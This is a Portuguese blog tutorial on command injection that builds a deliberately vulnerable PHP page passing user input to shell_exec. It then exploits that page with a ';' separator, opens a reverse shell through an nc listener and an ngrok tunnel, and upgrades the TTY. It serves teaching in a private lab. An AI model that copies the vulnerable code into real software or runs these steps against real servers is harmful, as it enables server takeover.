Como funciona Command injection e como explorar !

3 years ago 235
BOOK THIS SPACE FOR AD
ARTICLE AD

flaco0x01

Command injection(também conhecida como injeção de shell) é uma vulnerabilidade de segurança da Web que permite que um invasor execute comandos arbitrários do sistema operacional (SO) no servidor que está executando um aplicativo e, normalmente, compromete totalmente o aplicativo e todos os seus dados. Muitas vezes, um invasor pode aproveitar uma vulnerabilidade Command injection para comprometer outras partes da infraestrutura de hospedagem, explorando relações de confiança para direcionar o ataque a outros sistemas dentro da organização.

A falha funciona através de uma função chamadas exec onde a aplicação executa diretamente o que foi enviado pelo usuário no servidor.

A Função exec serve pra executa um programa externo de um servidor

ex:

<?php
echo exec(‘whoami’);contimuar
?>

a função exec ira executar o comando whoami no servidor sendo assim o servidor mostrar a output do comando.

Essa parte será dividida em três partes.

criar um laboratório

exploração da falha

e upgrade de shell

o que é o lamp

lamp é uma combinações de progamas para um desenvolvimento web sendo eles

linux

apache2

mysql

php

o que é e como instalar o apache2

O apache é um servidor o web que permite aos donos de site exibir suas paginas para todos dentro da internet.

A instalação do apache é bem simples, ao utilizar o comando ‘apt install apache2 -y’ o programa será instalado sem nenhuma preocupação

Assim que finalizada a instalação do Apache, iremos testar na máquina host se o serviço já está disponível. Utilizarei o comando ip addr show para descobrir o ip do servidor

sabendo o meu ip posso ver se meu servidor apache no meu browser basta digitar o ip que contem no inet na aba de pesquisa e será exibido a pagina do apache

feito isso o apache esta pronto pra uso

instalando o php

o php é um linguagem interpretada usada para aplicações server-side ou seja no lado do servidor

a instalação do php é bem simples basta digitar o comado ‘apt install php php-cli -y’ e o php será instalado

podemos testar se o php foi instalado corretamente criando o php info, para fazer isso devemos digitar o seguite comando ‘cd /var/www/html’ chegando la digite ‘nano info.php’ e o nano criara um arquivo .php, feito isso digite o código abaixo dentro do arquivo

<?php

phpinfo( );

?>

pressione ctrl+ x, s ou y logo apos enter , e agora podemos testar o php ,para testar o php basta digitar o ‘127.0.0.1/info.php’ na barra de pesquisa do browser e ele exibira todas as informações do php

nesse lab não usarei o mysql mas para fazer sua instalação basta digitar o comando a seguir e ele sera instalado ‘apt install mysql-server mysql-client php-mysql -y’

criando o lab

para criar as paginas precisamos criar um input simples no método post com o código abaixo e logo apos salve como index.html

obs: os arquivos criados a parti daqui serão todos salvos na pasta /var/www/html

<form action=”recebe.php” method=”post”>
<label for=”target”>digite o dominio ou ip para ser consultado:</label>
<input type=”text” id=”target” name=”target”/>
<input type=”Submit” value”Submit”>
</form>

feito isso podemos salvar e olhar no browser digitando na barra de pesquisa 127.0.0.1/index.html e nosso input esta pronto

para criar o arquivo que valida nosso input devemos criar um arquivo chamado “recebe.php” e digitar o codigo abaixo

<?php

if(isset($_POST[“target”]))
{
$target = $_POST[“target”];

if($target == “”)
{
echo “sem dados”;
}
else
{
echo “<pre>” . shell_exec(“nslookup “ . $target) . “</pre>”;
}
}
?>

feito isso o nosso lab esta pronto.

Antes de começar a exploração devemos entender o que esta acontecendo por debaixo dos pano.

o código em php abaixo faz uma verificação, se enviamos algo vazio ou se contem algum conteúdo nele.

se o input estiver vazio ele retorna “ sem dados ”

caso o input contenha algum dados ele chama a função exec que por sua vez lança o que foi digitado pelo usuário em programa externo que no nosso caso é o ‘Nslookup’

O NSlookup serve para trazer informações básicas de um domínio ao digitar o domínio www.google.com

ele retorna algumas informações do domínio

como a falha ocorre

a falha ocorre por um erro do programador que por sua vez não adiciona um filtro no que o usuário envia para o servidor, sendo assim um simples ; pode trazer grandes problemas para uma empresa que tenha essa falha em sua aplicação.

para explorar essa é falha muito simples, a aplicação espera que o usuário adicione um domínio ao input, mas e se adicionarmos um ; depois do domínio colocado no input e passarmos um comando de um sistema operacional

simplesmente o servidor reconheceu o comando ls e o executou e nos listou todos os diretórios da pasta

Hora da Shell

sabendo que o servidor recebe comando linux podemos fazer uma shell reversa usando qualquer tipo de linguagem, mas para a shell funcionar era necessário abrir uma determinadas porta no seu roteador. porem podemos fazer a shell reversa sem a necessidade de abrir a porta no roteador, utilizando o NGROK, não irei ensinar como instalar o ngrok pois já tem vários tutoriais

fazendo a shell reversa

utilizei a linguagem php para fazer minha shell reversa

para fazer a conexão basta deixar o nc na esculta digitando o comando abaixo

nc -nlvp 1421

logo apos abre a porta 1421 no ngrok

./ngrok tcp 1421

feito isso o ngrok nos dará uma porta e um ip

agora é só subi a shell utilizando o ip e a porta do ngrok

substitui o ip pelo domínio que o ngrok me deu, ao enviar a payload o site executou e retornou com a shell no meu terminal

E agora temos acesso ao servidor.

agora eu posso dar comandos no servidor, apos da o comando whoami estamos logado como o usuário www-data podemos usar o python para melhorar a shell .

para podermos da um upgrade na shell usamos o seguinte comando

python -c ‘import pty; pty.spawn(“/bin/bash”)’

apos da o comando vc recebera uma shell melhorada

agota iremos da um ctrl + z para trocar para o terminal local

depois escreva stty raw -echo para o que for escrito no seu terminal local seja escrito também na shell do servidor

digite o comando fg para colocar a shell em primeiro plano

“quando digitar o comando fg não aparecera no terminal pois estará escrevendo na shell do servidor e não o terminal local “

depois digite export TERM=xterm-256color e agora temos uma shell aprimorada

porque aprimorar a shell

Quando conseguimos um shell reverso, geralmente faltam várias coisas que dificultam bastante a interação. Pela falta de um tty, não conseguimos verificar as permissões com “sudo -l”, não conseguimos usar o “vi” e várias outras dificuldades. Então a primeira coisa que costumamos fazer é obter (spawnar) um tty. Porém mesmo após este passo, ainda faltam algumas coisas:

Não tem “autocomplete” com o tabO comando “clear”não funcionaCTRL+C finaliza o shell

Rodar um “sudo -l” com estas limitações é terrível! Simplesmente não conseguimos dar um “CTRL+C” e somos obrigados a digitar a senha errada três vezes para sair! E quem já teve um shell travado e a única saída era o “CTRL+C” sabe o sofrimento que é ter que refazer todo o shell.

por isso é bom aprimorar a shell.

E agora temos total acesso ao servidor

O command injection acontece por uma falha de programação onde o programador deixa o servidor receber tudo que o usuário digita sem tratar o que foi digitado.

Agradeço ao meu professor e mentor o @bootsantos que acredita em meu potencial e me inspira a cada dia a continuar estudando.

referencias:

postswiger

ngrok

Read Entire Article